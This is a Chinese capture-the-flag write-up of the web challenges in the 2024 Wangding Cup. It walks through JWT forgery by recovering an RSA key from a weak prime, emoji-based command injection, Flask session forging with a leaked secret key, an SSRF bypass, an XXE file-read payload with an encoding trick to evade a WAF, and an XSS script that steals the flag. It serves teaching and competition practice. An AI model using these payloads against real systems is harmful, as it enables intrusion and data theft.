2024网鼎杯青龙组Web全WP

Web终于AK了

web01

和广东省赛的hackme差不多,上回没做出来,这次可算出了。

首先通过爆破拿到了test:123456账号,发现token是jwt,拿去解析发现算法是RS256,立马联想到之前做过的省赛,然后试了以下拿到了另一个账号test1:123456。参考CTFtime.org / DownUnderCTF 2021 (Online) / JWT / Writeup,现在拿到两个jwt:

1
2
test:"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wlwwnsutxEMK"
test1:	"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxIn0.DLsur1m0A1k4Y-mfdrS-Ki4HnuZpB94Zw_v3HmVKGYwf3ahc97Vn5ayd-68sgcmEY6RFROfRPgtdwkLRv4fwo3s8b3-XEYR7xUdAT3d4Hv2B8GsyNy2XVKa1HPFPMds6dRJSBbj_1C6JIWzGWXSBmfBZh9mCO_6X5r8JiSiJBnA5"

通过工具FlorianPicca/JWT-Key-Recovery: A tool that recovers the public key used to sign JWT tokens找公钥:

为了让我们能够攻击得到私钥,q设的特别小,因此需要使用-v参数,将剔除掉的q拿到,他得到的n其实是p:

这里,p,q分别是17804821111502316793036490971425528339819448235796867795720648884656541541907550567777442874488808635045984342962135385100019033137941527252103015228679790694998873905422333991245053329464671091846658929342423494806798617414217571581871431032977373923108043381005448217665420171910141127444451102653272698507137

利用脚本得到私钥(脚本来自qsdz):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import rsa
from pathlib import Path
admin_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wlwwnsutxEMK'
test_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxIn0.DLsur1m0A1k4Y-mfdrS-Ki4HnuZpB94Zw_v3HmVKGYwf3ahc97Vn5ayd-68sgcmEY6RFROfRPgtdwkLRv4fwo3s8b3-XEYR7xUdAT3d4Hv2B8GsyNy2XVKa1HPFPMds6dRJSBbj_1C6JIWzGWXSBmfBZh9mCO_6X5r8JiSiJBnA5'
n = 6587783811255857213423501659427445485733195847244841084416640087322920370505793710077653863560859194967014206895990092487007042261038365083278115634611522557149583345006263576760669731901928303983263803856696693078515488443260501485292429482201628351549976050972015840536205463606752217154446907981710898447627
p = 178048211115023167930364909714255283398194482357968677957206488846565415419075505677774428744888086350459843429621353851000190331379415272521030152286797906949988739054223339912450533294646710918466589293424234948067986174142175715818714310329773739231080433810054482176654201719101411274444511026532726985071
q = 37
# p, q = q, p
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
Path('public.pem').write_bytes(rsa.PublicKey(n, e).save_pkcs1())
Path('private.pem').write_bytes(rsa.PrivateKey(n, e, d, p, q).save_pkcs1())

利用得到的公私钥生成admin的jwt:

1
2
3
4
5
6
import jwt
test_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wl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j9nJHAOiNK0w\nfnDEbqc5W80Bj8RPHZc88LonUn/+fMLV8A0w0JhFrjvEhbRHBkENIAFwafC7dA/a\nevsBHT+1mZIKWdx3ADtErOUkzwWztmZvnTZkxK/QDEyA3lQyH0ULAgMBAAE=\n-----END RSA PUBLIC KEY-----"
encoded = jwt.encode({"username": "admin"}, private_key, algorithm="RS256")
print(encoded)

得到jwt token:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1

登录之后首先看game,发现非常抽象,通过fuzz知道emoji对应不同的字符,会将其作为命令执行,构造💿 🚩😜😐🐱 ⭐,即CD flag;P:|cat *的到源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests


app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

with open('/app/flag/private_key.pem', 'r') as f:
    private_key = f.read()

with open('/app/flag/public_key.pem', 'r') as f:
    public_key = f.read()


def game_play(user_input):
    emoji_table = {
        "😀": ":D",
        "😉": ";)",
        "😊": ":)",
        "😋": ":P",
        "😎": "B)",
        "🤔": ":?",  
        "😐": ":|",
        "😥": ":'(",
        "😮": ":o",
        "🤐": ":x",
        "😯": ":o",
        "😪": ":'(",
        "😫": ">:(",
        "😴": "Zzz",
        "😜": ";P",
        "😝": "XP",
        "😒": ":/",
        "🙃": "(:",
        "😲": ":O",
        "☹️": ":(",
        "🙁": ":(",
        "😖": ">:(",
        "😞": ":(",
        "😤": ">:(",
        "😢": ":'(",
        "😦": ":(",
        "😰": ":(",
        "😱": ":O",
        "🤪": ":P",
        "😵": "X(",
        "🥴": ":P",
        "😠": ">:(",
        "😡": ">:(",
        "🤕": ":(",
        "🤢": "X(",
        "🤮": ":P",
        "🤧": ":'(",
        "😇": "O:)",
        "🥳": ":D",
        "🥺": ":'(",
        "🤡": ":o)",
        "🤠": "Y)",
        "🤥": ":L",
        "🐶": "dog",
        "🐱": "cat",  
        "🐭": "mouse",
        "🐰": "rabbit",
        "🦊": "fox",
        "🐷": "pig",
        "🐽": "pig nose",
        "🐸": "frog",
        "🐒": "monkey",
        "🐔": "chicken",
        "🐧": "penguin",
        "🐦": "bird",
        "🚗": "car",
        "🚕": "taxi",
        "🚁": "helicopter",
        "🛶": "canoe",
        "⛵": "sailboat",
        "🚤": "speedboat",
        "🛳️": "passenger ship",
        "⛴️": "ferry",
        "🛥️": "motor boat",
        "🚢": "ship",
        "👶": "baby",
        "💿": "CD",
        "📀": "DVD",
        "📱": "phone",
        "💻": "laptop",
        "⏰": "alarm clock",
        "🕰️": "mantelpiece clock",
        "⌚": "watch",
        "📡": "satellite antenna",
        "🔋": "battery",
        "🔌": "plug",
        "🚩": "flag",
        "⭐": "*",
        "✖️": "×",
        "➗": "÷"
    }
    if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
        return user_input.lower()
    command = user_input
    result = 'emoji shell'
    for key in emoji_table:
        if key in command:
            command = command.replace(key, emoji_table[key]).lower()
            result = command
            result = result + os.popen(command + " 2>&1").read()

    return result


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
    password = PasswordField('Password', validators=[DataRequired()])
    submit = SubmitField('Login')

class UploadForm(FlaskForm):
    avatar = FileField('Choose a file', validators=[DataRequired()])
    submit = SubmitField('Upload')

class GameForm(FlaskForm):
    user_input = TextAreaField('Enter something', validators=[DataRequired()])
    submit = SubmitField('Submit')


def generate_jwt(username):
    header = {'alg': 'RS256'}
    payload = {
        'username': username,
    }
    token = jwt.encode(header, payload, private_key)
    return token

def decode_jwt(token):
    try:
        payload = jwt.decode(token, public_key)
        return payload
    except JoseError as e:
        return None


@app.route('/', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data
        if username=='admin':
            flash('Invalid username or password', 'danger')
            return render_template('login.html', form=form)
        if username:
            session['role'] = 'guest'
            token = generate_jwt(username)
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie('token', token.decode())
            flash('Login successful!', 'success')
            return response
        else:
            flash('Invalid username or password', 'danger')
    return render_template('login.html', form=form)

@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    return render_template('dashboard.html')

@app.route('/profile')
def profile():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    user_info = {}
    user_info.update({
        'username': payload['username'],
        'role': session['role'],
    })
    return render_template('profile.html', user_info=user_info)

@app.route('/game', methods=['GET', 'POST'])
def game():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('game.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('game.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('game.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        user_input = form.user_input.data
        user_input = game_play(user_input)
    return render_template('game.html', form=form, user_input=user_input)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    
    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)


@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)


@app.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect(url_for('login')))
    response.delete_cookie('token')
    flash('You have been logged out', 'info')
    return response

if __name__ == '__main__':
    app.run()

可以看到还有个session,但是有key,很容易构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from flask import Flask, session

app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

@app.route('/login')
def login():
    # 设置用户角色为 admin
    session['role'] = 'admin'
    return 'Logged in as admin'

@app.route('/session')
def show_session():
    # 显示当前会话信息
    return f"Current session role: {session.get('role', 'Not logged in')}"

if __name__ == '__main__':
    app.run(debug=True)

打开本地页面拿到session即可,或者别的脚本也可以

根据过滤条件我们很容易发现view_uploads处有个ssrf,很容易绕过:

1
csrf_token=IjliOWJjYmFiOTYwNWM4NGY4MjFjYzc1OWQ3Njg2OGZlMTMyNjkzNGYi.ZyCzUA.G0Mp5_49tYfctHqZH2Keox5bYy4&path=www.testctf.com@localhost/index.php&user_input=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F20de556e638eb01cd3e5fdd0a08d4167&submit=Submit

尝试访问index.php,回显:

1
2
3
The value of user_input is:
                  /var/www/html/uploads/20de556e638eb01cd3e5fdd0a08d4167Failed
                  to load XML file.

考虑xxe

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE x[
	<!ENTITY k1te SYSTEM  "php://filter/convert.base64-encode/resource=flag.php">
]>
<person>
<name>&k1te;</name>
</person>

由于有waf,编码绕过:

1
cat payload | iconv -f utf-8 -t utf-16be > payload.xml

flag:

1
2
3
The value of user_input is:
                  /var/www/html/uploads/054891ca373134a47a817ed3be4dc1d6name:
                  PD9waHAKJGZsYWc9IndkZmxhZ3thdWZod3BwNnRxMTRhbTdiazIzN3BieXl6dzJuZzQ4d30iOwo=

其实应该打一个无回显的,但是刚好撞对了

web02

刚开始没去扫目录,导致打cookie打了半天,最后才发现有个/flag路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<script>fetch('/flag')
        .then(response => response.text())
        .then(data => {
            var flag = data; 
            fetch('/content/2755d0d0eb060eabc05e8196479af6ba', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: new URLSearchParams({ content: flag }) 
            });
        });
</script>
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计